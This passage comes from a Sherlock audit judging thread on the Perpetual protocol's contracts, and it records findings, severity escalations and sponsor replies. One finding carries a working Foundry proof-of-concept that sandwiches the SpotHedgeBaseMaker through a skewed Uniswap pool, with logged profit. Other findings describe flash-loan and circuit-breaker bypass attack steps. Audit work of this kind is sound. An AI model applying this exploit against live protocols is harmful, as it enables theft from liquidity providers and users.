- With regards to the Oracle maker, it always quotes within its configured max spread from the oracle price, so as long as the maximum spread is smaller than the price band it won't quote outside the price band (Admins are trusted to set these values correctly).
- So the only relevant case is trader-to-trader positions sent through the relayer where the pyth (market) price drops so quickly that it's outside the position's price band by the time it's settled (but not quickly enough to take the position directly from solid to liquidatable because then liquidation bots win anyway). However, if market conditions are that voletile and the trader tries to do an emeargency exit before liquidation, they can always use the Oracle Maker through the relayer which, as mentioned, will work inspite of the price band, or the SpotHedge maker directly.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
The goal of the OracleMaker is to provide liquidity essentially at all times in order to collect fees (...undesirable because he won’t be earning fees on that side
https://perp.notion.site/PythOraclePool-e99a88be051f4bc8be0b1310eb982cd4 ), and requiring that the max spread be smaller than the price bands severely limits this ability, so I don't think it's reasonable to say that the admin is supposed to do this when it contradicts the design of the maxSpread
being a Sensitivity of the maker’s price premium to its risk exposure
https://perp.notion.site/PythOraclePool-e99a88be051f4bc8be0b1310eb982cd4 , not a proxy for the price bands. Furthermore, the escalator's assertion that the price bands must be smaller than the max spread essentially trades one risk for another, without regard to the effects of the other risk (see the other valid bugs relating to abusing the price bands). I'll also note that the sponsor has already provided a PR for this issue, so it's not a risk they're willing to take.
nirohgo
Still, a lot of stars need to align for this to happen (max spread happens to be larger than price bands, sudden but not too sudden price drop, OM quote is at the maximum spread) and when they do, the trader has the option to use SHBM.
nevillehuang
I believe medium severity is appropriate for this issue.
WangSecurity
Agree that this issue should remain medium since it causes loss of funds under certain external conditions and breaks core functionality.
Planning to reject the escalation and leave the issue as it is.
nirohgo
@WangSecurity please note that this is invalid because it requires a (trusted) admin to make a configuration error: The Price Band config is the general, systemwide restriction on position price deviation from the oracle price. It applies to all positions and will fail/revert any position settlement that breaks this config. The max spread config is a specific configuration for the Oracle Maker that determines the maximum it's price can deviate from the oracle price. Setting a specific config to a value that exceeds a system wide limit (and will surely fail because of that) is a clear admin error.
WangSecurity
But as I understand, @IllIllI000 proves here and here how your assumption can be broken, no? And as I understand, you agree with it here.
nirohgo
But as I understand, @IllIllI000 proves here and here how your assumption can be broken, no? And as I understand, you agree with it here.
@WangSecurity both comments you mentioned are not proofs but rather are based on a claim (that setting contradicting values to these configurations is not an admin error), I'm making a counter claim (that it is). I suppose you need to make a call based on your own judgement between the two claims.
WangSecurity
As I understand from this comment shows that the spread is not neccesseraly larger/smaller than the price band and the issue will happen if the spread is larger than the price band, then it will allow to bypass price bands during liquidations as shown here. I see that there are lots of conditions that have to align to make it work, but this is a broken core functionality allowing the attacker to bypass the price bands.
Hence, I believe medium is appropriate, planning to reject the escalation and leave the issue as it is.
nirohgo
@WangSecurity the first comment simply states that there's a legitimate reason to set the specific OM max spread to be larger then the general limitation of the price band. (which I claim is an admin error). The second comment merely states that the trader price will be worse than the liquidation price (which is by design and has nothing to do with this escalation) and that the trader price can be rejected because it may exceed the price band limit which again, can only happen if admins set the OM max spread to a larger value than the price band setting (which I claim is an admin error).
WangSecurity
@nirohgo @IllIllI000 the question is: is it documented anywhere (docs/code comments/discord msgs) that the max spread cannot exceed price bands, i.e. is it an invariant that the team will hold?
IllIllI000
No it's not - not that I'm aware of
nirohgo
@nirohgo @IllIllI000 the question is: is it documented anywhere (docs/code comments/discord msgs) that the max spread cannot exceed price bands, i.e. is it an invariant that the team will hold?
@WangSecurity So, you're saying that on Sherlock a trusted admin error only counts as such if there's a specific documentation of it? The fact that it stems from basic logic is not enough?
WangSecurity
@nirohgo please share where that logic comes from.
nirohgo
@nirohgo please share where that logic comes from.
@WangSecurity Sure: The admin sets one configuration (price band) that limits price deviation from oracle across all positions (and will fail any settlement that breaks this limit). The OM max spread configuration determines by how much the OM price can deviate from oracle (so you can think about it as a more specific configuration that applies to the OM price). If the admin sets max spread to be larger than Price Band they are making a logical error (because whenever the spread exceeds price band the settlement will fail). Its as if the admin would be breaking a rule they themselves set in another config.
IllIllI000
I disagree that the intention was to use the price bands as a global limit for all trades. If you look at the origin of the bands, it was this test where a user gains an advantage by trading with themselves with an arbitrary price
// FIXME: We shouldn't allow this to happen
// probably add price band in OrderGatewayV2 or ClearingHouse,
// only allow order.price to be oracle price +- 10% when settling orders
// See https://app.asana.com/0/1202133750666965/1206662770651731/f
function test_SettleOrder_AtExtremePrice() public {
I had forgotten that I had asked this, but it's clear that their intention for the band was to protect against the scenario in the test, where a user trades with themselves:
IllIllI — 03/14/2024
hi, can you elaborate on the problem that is solved by having price bands?
// FIXME: We shouldn't allow this to happen
// probably add price band in OrderGatewayV2 or ClearingHouse,
// only allow order.price to be oracle price +- 10% when settling orders
// See https://app.asana.com/0/1202133750666965/1206662770651731/f
https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/test/orderGatewayV2/OrderGatewayV2.settleOrder.int.t.sol#L1269-L1273
is it just to avoid fat finger issues, or is there some other issue with allowing any price, that I'm missing? it looks like there isn't any negative effect to the system besides maybe the funding fee, since margin covers the price difference. the asana link is private, so I can't view it
bchen4 ʕ̢·͡˔·ོɁ̡ — 03/15/2024
if taker order match maker order via OrderGatewayV2 with 1 wei price, these two position's openNotional are 1 wei, so they might not to pay borrowingFee or fundingFee
and there might has problem when liquidation, because we will calculate penalty by openNotional, so liquidator might not has incentive to liquidate and it will increase bad debt risk of our system
They ended up going with using bands in the clearinghouse, where they note that a user can choose an arbitrary price, and reference the test above, and so they add a price band check later in the function.
nirohgo
I disagree that the intention was to use the price bands as a global limit for all trades. If you look at the origin of the bands, it was this test where a user gains an advantage by trading with themselves with an arbitrary price
// FIXME: We shouldn't allow this to happen // probably add price band in OrderGatewayV2 or ClearingHouse, // only allow order.price to be oracle price +- 10% when settling orders // See https://app.asana.com/0/1202133750666965/1206662770651731/f function test_SettleOrder_AtExtremePrice() public {
I had forgotten that I had asked this, but it's clear that their intention for the band was to protect against the scenario in the test, where a user trades with themselves:
IllIllI — 03/14/2024 hi, can you elaborate on the problem that is solved by having price bands? // FIXME: We shouldn't allow this to happen // probably add price band in OrderGatewayV2 or ClearingHouse, // only allow order.price to be oracle price +- 10% when settling orders // See https://app.asana.com/0/1202133750666965/1206662770651731/f https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/test/orderGatewayV2/OrderGatewayV2.settleOrder.int.t.sol#L1269-L1273 is it just to avoid fat finger issues, or is there some other issue with allowing any price, that I'm missing? it looks like there isn't any negative effect to the system besides maybe the funding fee, since margin covers the price difference. the asana link is private, so I can't view it bchen4 ʕ̢·͡˔·ོɁ̡ — 03/15/2024 if taker order match maker order via OrderGatewayV2 with 1 wei price, these two position's openNotional are 1 wei, so they might not to pay borrowingFee or fundingFee and there might has problem when liquidation, because we will calculate penalty by openNotional, so liquidator might not has incentive to liquidate and it will increase bad debt risk of our system
They ended up going with using bands in the clearinghouse, where they note that a user can choose an arbitrary price, and reference the test above, and so they add a price band check later in the function.
Don't see how that's relevant as it doesn't change the fact that setting OM spread to be larger than Price Band will only result in the admin DOSing their own system (whenever OM price exceeds the price band).
IllIllI000
It's documentation of an intended usage that has a flaw in the design, leading to a negative outcome which I believe @WangSecurity is trying to point out here, and is the reason I submitted this finding. I believe all of the facts have been provided, so let's hear what they have to say.
WangSecurity
It's not clear in readme / code comments / docs that the protocol planned on respecting the discussed invariant. Planning to reject the escalation and leave the issue as it is.
sherlock-admin3
The Lead Senior Watson signed off on the fix.
Evert0x
Result: Medium Unique
sherlock-admin4
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/117
The protocol has acknowledged this issue.
IllIllI
Deposits/withdrawals of base tokens to the SpotHedgeBaseMaker aren't accounted for in the CircuitBreaker's accounting, so the tokens can be used by attackers to increase the amount withdrawable past the high water mark percentage limits.
The SpotHedgeBaseMaker allows LPs to deposit base tokens in exchange for shares. The CircuitBreaker doesn't include base tokens in its accounting, until they're converted to quote tokens and added to the vault, which happens when someone opens a short base position, and the SpotHedgeBaseMaker needs to hedge its corresponding long base position, by swapping base tokens for the quote token. The CircuitBreaker keeps track of net deposits/withdrawals of the quote token using a high water mark system, in which the high water mark isn't updated until the sync interval has passed. As long as the net outflow between sync intervals doesn't pass the threshold, withdrawals are allowed.
Assume there is some sort of exploit, where the attacker is able to artificially inflate their 'fund' amount (e.g. one of my other submissions), and are looking to withdraw their ill-gotten gains. Normally, the amount they'd be able to withdraw would be limited to X% of the TVL of collateral tokens in the vault. By converting some of their 'fund' to margin, and opening huge short base positions against the SpotHedgeBaseMaker, they can cause the SpotHedgeBaseMaker to swap its contract balance of base tokens into collateral tokens, and deposit them into its vault account, increasing the TVL to TVL+Y. Since the time-based threshold will still be the old TVL, they're now able to withdraw TVL.old * X% + Y
, rather than just TVL.old * X%
. Depending on the price band limits set for swaps, the attacker can use a flash loan to temporarily skew the base/quote UniswapV3 exchange rate, such that the swap nets a much larger number of quote tokens than would normally be available to trade for. This means that if the 'fund' amount that the attacker has control over is larger than the actual number of collateral tokens in the vault, the attacker can potentially withdraw 100% of the TVL.
Quote tokens acquired via the swap are deposited into the vault, which passes them through the CircuitBreaker:
// File: src/maker/SpotHedgeBaseMaker.sol : SpotHedgeBaseMaker.fillOrder() #1
415 } else {
416 quoteTokenAcquired = _formatPerpToSpotQuoteDecimals(amount);
417 @> uint256 oppositeAmountXSpotDecimals = _uniswapV3ExactOutput(
418 UniswapV3ExactOutputParams({
419 tokenIn: address(_getSpotHedgeBaseMakerStorage().baseToken),
420 tokenOut: address(_getSpotHedgeBaseMakerStorage().quoteToken),
421 path: path,
422 recipient: maker,
423 amountOut: quoteTokenAcquired,
424 amountInMaximum: _getSpotHedgeBaseMakerStorage().baseToken.balanceOf(maker)
425 })
426 );
427 oppositeAmount = _formatSpotToPerpBaseDecimals(oppositeAmountXSpotDecimals);
428 // Currently we don't utilize fillOrderCallback for B2Q swaps,
429 // but we still populate the arguments anyways.
430 fillOrderCallbackData.amountXSpotDecimals = quoteTokenAcquired;
431 fillOrderCallbackData.oppositeAmountXSpotDecimals = oppositeAmountXSpotDecimals;
432 }
433
434 // Deposit the acquired quote tokens to Vault.
435:@> _deposit(vault, _marketId, quoteTokenAcquired);
The CircuitBreaker only tracks net liqInPeriod changes changes during the withdrawal period, and only triggers the CircuitBreaker based on the TVL older than the withdrawal period:
// File: src/circuitBreaker/LibLimiter.sol : LibLimiter.status() #2
119 int256 currentLiq = limiter.liqTotal;
...
126 @> int256 futureLiq = currentLiq + limiter.liqInPeriod;
127 // NOTE: uint256 to int256 conversion here is safe
128 int256 minLiq = (currentLiq * int256(limiter.minLiqRetainedBps)) / int256(BPS_DENOMINATOR);
129
130 @> return futureLiq < minLiq ? LimitStatus.Triggered : LimitStatus.Ok;
131: }
Manual Review
Calculate the quote-token value of each base token during LP deposit()
/withdraw()
, and add those amounts as CircuitBreaker flows during deposit()
/withdraw()
, then also invert those flows prior to depositing into/withdrawing from the vault
sherlock-admin3
1 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium/Low - Attacker would have to open a big short position against SpotHedgeBaseMaker during some time, exposing itself to losses due to price changes
tailingchen
Valid but won't fix.
Although circuit breaker can be bypassed, it still depends on the liquidity of SpotHedgeBaseMaker and the price band. The team prefers not to fix it in the early stages.
If the team want to fix it in the future, we have discussed several possible solutions. These solutions all have some pros and cons. The team is still evaluating possible options.
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/118
The protocol has acknowledged this issue.
IllIllI, PUSH0
The Perpetual protocol only supports USDT as collateral, but prices everything as though USDT were always equal to 1-for-1. Ongoing small de-pegs will only leave small amounts for arbitrage, because any arbitrage in size will skew the OracleMaker and UniswapV3 pools' prices to account for the opportunity. One case that cannot be handled is a large de-peg when the SpotHedgeBaseMaker has a lot of base tokens available.
The protocol's contest readme says that either USDT or USDC will be used as collateral, and the project documentation says that it will use Pyth oracles for pricing base tokens. Pyth only has a single oracle for USDT and USDC each, which is their USD value. All other Pyth oracles are for the USD price, not the USDT or USDC price.
In the case of the SpotHedgeBaseMaker, when a user wishes to withdraw their base tokens, it calculates the total value of all of the LP shares, as the value of the vault account plus the net base tokens contributed during all deposit()s/withdraw()s. The price that it uses to convert the value of the vault in the vault's collateral, into the value of the vault in the base token's units, is the <base>/USD price, not a <base>/USDT or <base>/USDC price (because there isn't an oracle for that).
If USDT is the collateral token and de-pegs by 30%, instead of valuing the account's collateral at 70% of what was deposited, it keeps it at 100%, letting each LP share withdraw more funds than it should be able to. Only base tokens can be withdrawn, so the first LPs to withdraw during the de-peg will get more than they should, leaving less for all others.
A similar issue exists with all markets whose SpotHedgeBaseMaker's LP deposit/withdraw tokens are wrapped/bridged tokens, vs the actual token itself (e.g. WETH vs ETH). The price the SpotHedgeBaseMaker uses is the price returned by the oracle for the market, which is the actual token's oracle, not the hedging token's oracle. If there is a de-peg there (e.g. because the wrapped token is considered by some jurisdictions as a 'security', whereas the underlying isn't), then the amount of tokens deposited will be over-valued, and at the end when the market is wound down, profits not covered by the deposited hedging tokens will be withdrawable as the collateral token, which will have been over-valued at the expense of the other LPs.
The function to calculate the vault value in units of the base token, takes in a price...:
// File: src/maker/SpotHedgeBaseMaker.sol : SpotHedgeBaseMaker.withdraw() #1
311 uint256 redeemedRatio = shares.divWad(totalSupply()); // in ratio decimals 18
...
320 uint256 price = _getPrice();
321 @> uint256 vaultValueInBase = _getVaultValueInBaseSafe(vault, price);
322 uint256 withdrawnBaseAmount = vaultValueInBase.mulWad(redeemedRatio).formatDecimals(
323 INTERNAL_DECIMALS,
324 _getSpotHedgeBaseMakerStorage().baseTokenDecimals
325: );
...which refers to the market's oracle's price:
// File: src/maker/SpotHedgeBaseMaker.sol : SpotHedgeBaseMaker.price #2
769 function _getPrice() internal view returns (uint256) {
770 IAddressManager addressManager = getAddressManager();
771 @> (uint256 price, ) = addressManager.getPythOracleAdapter().getPrice(
772 addressManager.getConfig().getPriceFeedId(_getSpotHedgeBaseMakerStorage().marketId)
773 );
774 return price;
775: }
which is the price returned from the pyth contract (converted for decimals), which is a USD price.
Manual Review
Use the <quote-token>/USD oracle to convert the <base-token>/USD price to a <base-token>/<quote-token> oracle
sherlock-admin4
2 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
takarez commented:
the ReadMe says "Oracle (Pyth) is expected to accurately report the price of market" which kinda mean that the pyth is trusted and realiable
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/119
IllIllI, santipu_
Malicious users can sandwich their own SpotHedgeBaseMaker trades up to the price band cap
The SpotHedgeBaseMaker allows one to settle trades against a UniswapV3 pool. The assumption is that the pool prices tokens properly, and any imbalance in the pool is reflected in the price paid/amount received by the trader interacting with the SpotHedgeBaseMaker. This assumption is incorrect, because an attacker can sandwich their own trade, taking value out of the Perpetual system.
The attacker would get a large flash loan, imbalance the pool, use the ClearingHouse to settle and opening trade, then re-balance the pool, all in the same transaction.
For example, assume the actual exchange rate is $4,000/1WEth, and the attacker is able to skew it such that the exchange rate temporarily becomes $1/1WEth. The attacker opening a short of 1Eth means that the SpotHedgeBaseMaker ends up going long 1Eth, and hedges that long by swapping 1WEth for $1. The attacker ends up using ~1 in margin to open the short. After the attacker unwinds the skew, they've gained ~1WEth (~$4k) from the rebalance, and they can abandon the perp account worth -$4k.
In reality, the attacker won't be able to skew the exchange rate by quite that much, because there's a price band check at the end of the trade, ensuring that the price gotten on the trade is roughly equivalent to the oracle's price. The test comments indicate that the bands are anticipated to be +/- 10%. If the price bands are set to zero (the swap price must be the oracle price), then the SpotHedgeBaseMaker won't be usable at all, since uniswap charges a fee for every trade. If the bands are widened to be just wide enough to accommodate the fee, then other parts of the system, such as the OracleMaker won't work properly (see other submitted issue). Therefore, either some value will be extractable, or parts of the protocol will be broken.
Because of these restrictions/limitations I've submitted this as a Medium.
The SpotHedgeBaseMaker doesn't require that the sender be the Gateway/GatewayV2, so anyone can execute it directly from the ClearingHouse:
// File: src/maker/SpotHedgeBaseMaker.sol : SpotHedgeBaseMaker.isValidSender() #1
514 function isValidSender(address) external pure override returns (bool) {
515 return true;
516: }
Manual Review
Require that SpotHedgeBaseMaker be executed by a relayer
42bchen
// ETH oracle 100, spot 100 (100 ETH, 10000 USDC) assume no fee, full range v3 liquidity
// user flashLoan buy ETH -> spot 400 (50 ETH, 20000 USDC), user borrow 10000 USDC to swap, get 50 ETH
// user open short position on SHBM
// - SHBM sell 1 ETH -> (51 ETH,19607.84 USDC) -> get 392.16 USDC
// - user openNotional 392.16 USDC, SHBM openNotional -392.16 USDC
// user sell 50 ETH to pool (101 ETH, 9,900.99 USDC), get 9706.85 USDC
// result:
// - user profit: -10000 (borrow debt) + 292.16 (system profit) + 9706.85 (from selling ETH) = -1
// - SHBM profit: 392.16 (sell ETH) + -292.16 (system profit) = 100
// user didn't has profit
the user profit in the system does not reflect the real profit in the whole attack operation; the attacker needs some cost to push the price. Our spotHedgeMaker is hedged, and our system total pnl = 0
IllIllI000
@42bchen can you take a look at this test case? I believe it shows that sandwiching can be profitable as long as there's enough of a price difference between the pyth price and the uniswap price (note that it's not trading against the OracleMaker - only against the SHBM). Change spotPoolFee
to be 100
in SpotHedgeBaseMakerForkSetup.sol, then add this test as perp-contract-v3/test/spotHedgeMaker/Sandwich.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
// forge test --match-test testSandwich -vv
import "forge-std/Test.sol";
import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import "../../src/common/LibFormatter.sol";
import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol";
contract priceDivergence is SpotHedgeBaseMakerForkSetup {
using LibFormatter for int256;
using LibFormatter for uint256;
using SignedMath for int256;
address public exploiter = makeAddr("Exploiter");
OracleMaker public oracle_maker;
function setUp() public override {
super.setUp();
oracle_maker = new OracleMaker();
_enableInitialize(address(oracle_maker));
oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
config.registerMaker(marketId, address(oracle_maker));
config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
oracle_maker.setMaxSpreadRatio(0.1 ether);
oracle_maker.setValidSender(exploiter,true);
pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
_mockPythPrice(2000,0);
}
function testSandwich() public {
// deposit 2k collateral as margin for exploiter
_deposit(marketId, exploiter, 2_000e6);
// deposit 2000 base tokens ($4M) to the HSBM
vm.startPrank(makerLp);
deal(address(baseToken), makerLp, 2000e9, true);
baseToken.approve(address(maker), type(uint256).max);
maker.deposit(2000e9);
vm.stopPrank();
// exploiter has 43 base tokens ($86K)
deal(address(baseToken), exploiter, 43e9, true);
// exploiter balances at the start
uint256 baseBalanceStart = baseToken.balanceOf(exploiter);
console.log("exploiter initial values (margin, collateral, base)");
console.logInt(vault.getMargin(marketId,address(exploiter)).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()));
console.log(collateralToken.balanceOf(exploiter));
console.log(baseBalanceStart);
// the price gapped ~7% within the last 60 seconds, and nobody has updated the pyth price,
// but the uniswap pool has already adjusted
int64 oldPrice = 2000 * 93 / 100;
_mockPythPrice(oldPrice,0);
// first stage: skew in favor of collateral token
vm.startPrank(exploiter);
baseToken.approve(address(uniswapV3Router), type(uint256).max);
uniswapV3Router.exactInput(
ISwapRouter.ExactInputParams({
path: uniswapV3B2QPath,
recipient: exploiter,
deadline: block.timestamp,
amountIn: baseToken.balanceOf(exploiter),
amountOutMinimum: 0
})
);
// second stage: open short position on SHBM
(int256 pbT, int256 pqT) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: 2e18,
oppositeAmountBound: 1,
deadline: block.timestamp,
makerData: ""
})
);
// third stage: swap back to fix the skew
collateralToken.approve(address(uniswapV3Router), type(uint256).max);
uniswapV3Router.exactInput(
ISwapRouter.ExactInputParams({
path: uniswapV3Q2BPath,
recipient: exploiter,
deadline: block.timestamp,
amountIn: collateralToken.balanceOf(exploiter),
amountOutMinimum: 0
})
);
console.log("exploiter ending values (margin, collateral, base)");
uint256 baseBalanceFinish = baseToken.balanceOf(exploiter);
console.logInt(vault.getMargin(marketId,address(exploiter)).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()));
console.log(collateralToken.balanceOf(exploiter));
console.log(baseBalanceFinish);
// gain is for more than one ETH, which is enough to abandon the collateral in the vault
console.log("Gain:", baseBalanceFinish - baseBalanceStart);
vm.stopPrank();
}
}
output:
Logs:
exploiter initial values (margin, collateral, base)
2000000000
0
43000000000
exploiter ending values (margin, collateral, base)
2000000000
0
44018525544
Gain: 1018525544
paco0x
@IllIllI000 thanks for your POC scripts. After carefully analyzing the numbers in this test case, I believe that the exploiter's profit is caused by bad debt under the assumption of deviation in pyth prices in 60s (7% in this case).
In this test, the exploiter's actual source of income is that he increased his buying power by using a stale price for opening position. He short 2 ETH with avg price 964, this position passed the IM ratio check since the price is 1860 instead of 2000 in contract. And he'll be in bad debt after the price updated to 2000 in the contract. The SHBM is always hedged and does not lose money.
To mitigate the price deviation issue, we're currently using a permissioned keeper to settle user's orders with makers, but seems users can still open position directly with SHBM to bypass the keeper. And if the price deviation issue exists, there'll be a room to intentionally generate bad debt and make profit, just like in this test case.
So I agree this issue is valid, but under the price deviation assumption. If you have any other idea that can bypass this assumption, I would agree to elevate the severity level of this issue.
The initial idea to solve this issue is:
Thanks a lot for you great work!
paco0x
@IllIllI000 thanks for your POC scripts. After carefully analyzing the numbers in this test case, I believe that the exploiter's profit is caused by bad debt under the assumption of deviation in pyth prices in 60s (7% in this case).
In this test, the exploiter's actual source of income is that he increased his buying power by using a stale price for opening position. He short 2 ETH with avg price 964, this position passed the IM ratio check since the price is 1860 instead of 2000 in contract. And he'll be in bad debt after the price updated to 2000 in the contract. The SHBM is always hedged and does not lose money.
To mitigate the price deviation issue, we're currently using a permissioned keeper to settle user's orders with makers, but seems users can still open position directly with SHBM to bypass the keeper. And if the price deviation issue exists, there'll be a room to intentionally generate bad debt and make profit, just like in this test case.
So I agree this issue is valid, but under the price deviation assumption. If you have any other idea that can bypass this assumption, I would agree to elevate the severity level of this issue.
The initial idea to solve this issue is:
- use a relayer to settle orders with SHBM
- impose some restrictions on the average price of open positions, in order to prevent avg price from deviating too much from the oracle.
Thanks a lot for you great work!
Another thing to add on, in this test case, we didn't set the price band in Config
contract. If we add a price band of 20% in the setUp
like:
config.setPriceBandRatio(marketId, 0.2e18);
The exploiter cannot open his position since the trade price deviates too much from oracle price. The difficulty of this attack will significantly increase with a effective price band.
IllIllI000
thanks @paco0x in this issue, I point out that the price bands can be bypassed via sandwich as well, by using different pyth prices. Please let me know your thoughts on that one as well, there, since it's currently marked as a duplicate of one that is marked as sponsor-disputed.
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/perpetual-protocol/perp-contract-v3/pull/19
nirohgo
Escalate
Should be invalid:
A. The POC presented is highly unlikely for serveral reasons:
B. Even if all the above conditions hold, the profit calculation is wrong: The exploiter in the example deposited $2000 collateral and is left with an unrealized PnL of -$1790 at the end (add these lines at the end to see):
int256 on = vault.getOpenNotional(marketId,exploiter).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
int256 unrePnl = vault.getUnrealizedPnl(marketId, exploiter, uint256(uint64(oldPrice)) * (10**18));
console.logInt(on);
console.logInt(unrePnl);
which means if they "abandon the perp" as the finding suggests they are out $2000 and have gained nothing. The original finding scenario is even more unrealistic (even if we disregard the price band check) because the amount required to drop the price from $4000 to $1 for a univ3 pair with reasonable liquidity will make the exploit non-profitable due to the Uni trading fees.
sherlock-admin2
Escalate
Should be invalid:
A. The POC presented is highly unlikely for serveral reasons:
- For it to work, the pool in question needs to have low liquidity. the pool is initialized with $200,000(collateral)/100Eth(base) in SpotHedgeBaseMakerForkSetup line 81/82. If you add just one zero to each (representing a more likely liquidity of $2M) the attack doesn't hold because of reduced slippage. For reference, currently on UniV3 on optimism Eth/USDT has 2M and Eth/USDC has 10M.
- The fee tier was changed to 100 (0.01%) which again, in highly unlikely since this rate is used only for stable pairs. change to 3000 and the attack doesn't hold.
- The POC scenario of a price drop of 7% within 60 seconds with no onchain update of the Pyth contract is also highly unlikely as such price shifts are rare and likely to draw an immediate update as many protocols can be affected.
B. Even if all the above conditions hold, the profit calculation is wrong: The exploiter in the example deposited $2000 collateral and is left with an unrealized PnL of -$1790 at the end (add these lines at the end to see):
int256 on = vault.getOpenNotional(marketId,exploiter).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); int256 unrePnl = vault.getUnrealizedPnl(marketId, exploiter, uint256(uint64(oldPrice)) * (10**18)); console.logInt(on); console.logInt(unrePnl);
which means if they "abandon the perp" as the finding suggests they are out $2000 and have gained nothing. The original finding scenario is even more unrealistic (even if we disregard the price band check) because the amount required to drop the price from $4000 to $1 for a univ3 pair with reasonable liquidity will make the exploit non-profitable due to the Uni trading fees.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
Logically, if a sandwich can be shown to be profitable with one specific set of numbers with no mistakes and feasible settings, then other combinations are also possible, and it's not my job to show every single possible combination - one suffices to show that there's a security risk here, where a sandwich can cause bad debt to occur. The sponsor confirmed the numbers themselves - they didn't just take my word for it. The escalating watson also misunderstood the POC, because the profit is the extra 0.018525544 Eth gained from swapping back after the sandwich, not anything in the perp account, which will be abandoned
nirohgo
The escalating watson also misunderstood the POC, because the profit is the extra 0.018525544 Eth gained from swapping back after the sandwich, not anything in the perp account, which will be abandoned
I understood the POC, it's just that the POC output states gains are 1.018525544Eth so I thought you forgot about the abandoned amount.
Logically, if a sandwich can be shown to be profitable with one specific set of numbers with no mistakes and feasible settings, then other combinations are also possible, and it's not my job to show every single possible combination - one suffices to show that there's a security risk here, where a sandwich can cause bad debt to occur.
My point is that these setting are not feasible. As mentioned, pool fee of 100 is only used with stable pairs. Since collateral is USDT this means a pair with some other USD pegged token. This means much lower uniswap slippage than in the POC (even with the given liquidity) and much smaller chance of there being a 7% price drop within 60 seconds that doesn't get published onchain. (Actually I don't think a futures market on a pair of two USD pegged stables is even a thing)
IllIllI000
WETH/USDC on OP has a 0.05% fee https://info.uniswap.org/pools#/optimism/pools/0x85149247691df622eaf1a8bd0cafd40bc45154a9 Changing the unit test to use 44e9 base tokens instead of 43e9, and a 7.2% drop instead of 7.0% results in the test still passing with a profit with a 0.05% fee instead of the 0.01% one you say is not feasible
nevillehuang
@IllIllI000 I believe based on the impact of profit you have shown and the constrained scenario required to execute this attack, medium severity is more appropriate
nirohgo
Hi @nevillehuang , I still think it's a low. The new scenario the watson proposed generates around $2 profit in the black swanish event of a 7.2% price drop within 60 seconds (that is not reported on chain). I Dont think it qualifies even as a medium.
IllIllI000
The risk-free profit is ~$67 with an investment of only 1 Eth, which is ~2%. The POC only used 1Eth, but much larger amounts can be used instead
nirohgo
The risk-free profit is ~$67 with an investment of only 1 Eth, which is ~2%. The POC only used 1Eth, but much larger amounts can be used instead
Not really - $67 was the original POC scenario which we're establish is not feasible. Under the new one you provided: "Changing the unit test to use 44e9 base tokens instead of 43e9, and a 7.2% drop instead of 7.0% results in the test still passing with a profit with a 0.05% fee instead of the 0.01% one you say is not feasible" the "gains" are only 1.001184143 which leaves around $2 after the abandoned position. (again, that too is only possible under an extremely rare event)
IllIllI000
Ok, yes, it's ~$4 with the specific POC and the updated fee, my mistake in copying the old value. However, like I said this is on a base of 1 eth, and this is a risk free attack that can be larger depending on how much capital is available to the attacker
nirohgo
Yes, but that too, only when there's a 7.2% price drop within 60 seconds that wasn't reported to pyth onchain. I mean, how often does that happen?
IllIllI000
The sponsor is fixing the issue, so it's not a risk they're willing to take. I think at this point we should let the judge decide
nevillehuang
@IllIllI000 I believe this is borderline medium/high. Do you have an example of a token (I suppose any non-weird token) that this has occured for a pyth oracle return value (maybe we could check their dashboards)? If not I believe given the relatively uncommon occurence of this, medium severity seems appropriate
IllIllI000
I spent quite a bit of time trying to provide an example. Some issues I'm facing are that none of the Pyth web interfaces let you do range queries, so I have to manually fetch prices one-by-one in order to find an example. Etherscan also doesn't help because all updates are done via a single contract, and it doesn't let me filter transaction-internal function calls by parameter, so it's another manual process. Even if I were to spend the hours digging through to find an example, the head of judging may have some other requirement that I need to search for, just like after countering nirohgo's complaints there's this new request, so I'd rather not spend more time searching for something that may or may not convince the head of judging, and just wait to hear what they ask for. The sponsor found the finding to be valuable, the POC shows a risk-free profit, and the add-on submission shows a way to counter the price band protections. I agree that the specific POC I provided depends on a gap occurring
WangSecurity
@IllIllI000 From the comments above it's not clear for me: the attack has specific external conditions and state to occur or the restrictions are low? Can you elaborate a bit on what are prerequisites and constaints for this issue to happen? Thank you in advance!
IllIllI000
@WangSecurity I've tried again today to find other combinations of margin, collateral, leverage, and sandwich size, but since it's a manual process of trial and error of all of these parameters, as well as a bit of fuzzing, and I wasn't able to get anywhere useful. Given that, you can consider the external condition to be that there is a large gap (7%) for the attacker to make a profit. Any smaller gap just creates a loss for the LP which is supposed to be hedged and not have losses, but the attacker loses more.
WangSecurity
Therefore, based on the comment above, I believe medium severity is appropriate here. Thank you for all the help and work on this issue. Since the escalation proposes it should be invalid, planning to reject the escalation, but downgrade it to medium.
If you have any other inputs/comments on this, would be glad to hear.
Evert0x
